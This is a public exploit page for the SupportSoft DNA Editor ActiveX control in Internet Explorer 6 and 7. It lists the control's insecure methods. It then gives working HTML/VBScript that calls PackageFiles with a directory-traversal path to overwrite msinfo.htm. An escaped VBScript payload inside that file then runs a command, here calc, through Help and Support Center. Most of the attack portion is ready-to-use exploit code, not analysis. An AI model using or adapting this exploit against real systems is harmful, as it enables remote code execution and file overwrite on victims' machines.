<!-- SupportSoft DNA Editor Module (dnaedit.dll v6.9.2205) remote code execution exploit (IE6/7)
vendor url: http://www.supportsoft.com/
our site: http://retrogod.altervista.org/
Binary Path: C:\Programmi\File comuni\SupportSoft\bin\dnaedit.dll
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): True
Safe For Scripting (IObjectSafety): True
vulnerabilities, discovered two months ago:
insecure methods: Packagefiles() - remote file overwrite, directory traversal, *script injection* and ... a crash (investigating on this one)
SaveDna() - remote file creation, directory traversal
AddFile() - remote cpu consumption
SetIdentity() - remote file creation
This dll was present inside the SupportSoft ActiveX Controls Security Update for a previous buffer overflow vulnerability,
My download url was: http://www.supportsoft.com/support/controls_update.asp
see also: http://www.securityfocus.com/archive/1/archive/1/461147/100/0/threaded
Well, they probably patched my marking them unsafe for initialization (I see that the ScriptRunner module suffers of a
buffer overflow bug in the Evaluate() method...) but they gave you another vulnerable control...
<OBJECT classid='clsid:01110800-3E00-11D2-8470-0060089874ED' width=1 height=1 id='DNAEditorCtl' />
sh="<HTML><SCRIPT LANGUAGE=VBScript>" + unescape("Execute%28unescape%28%22Set%20s%3DCreateObject%28%22%22WScript.Shell%22%22%29%250D%250As.Run%20%22%22cmd%20%252fc%20start%20calc%22%22%22%29%29") + "<" + Chr(47) + "SCRIPT><" + Chr(47) + "HTML>"
'file path is injected in msinfo.htm, you can see the code by an hex editor, some limit with *number* of chars, some problem with newlines, resolved with vbscript code evaluation by Execute(), a popup says Unable to post... click Ok or close it and you are pwned
DNAEditorCtl.PackageFiles sh + "../../../../../../../../../WINDOWS/PCHEALTH/HELPCTR/System/sysinfo/msinfo.htm"
'launch the script and calc.exe trough the Help and Support Center Service
# milw0rm.com [2009-03-05]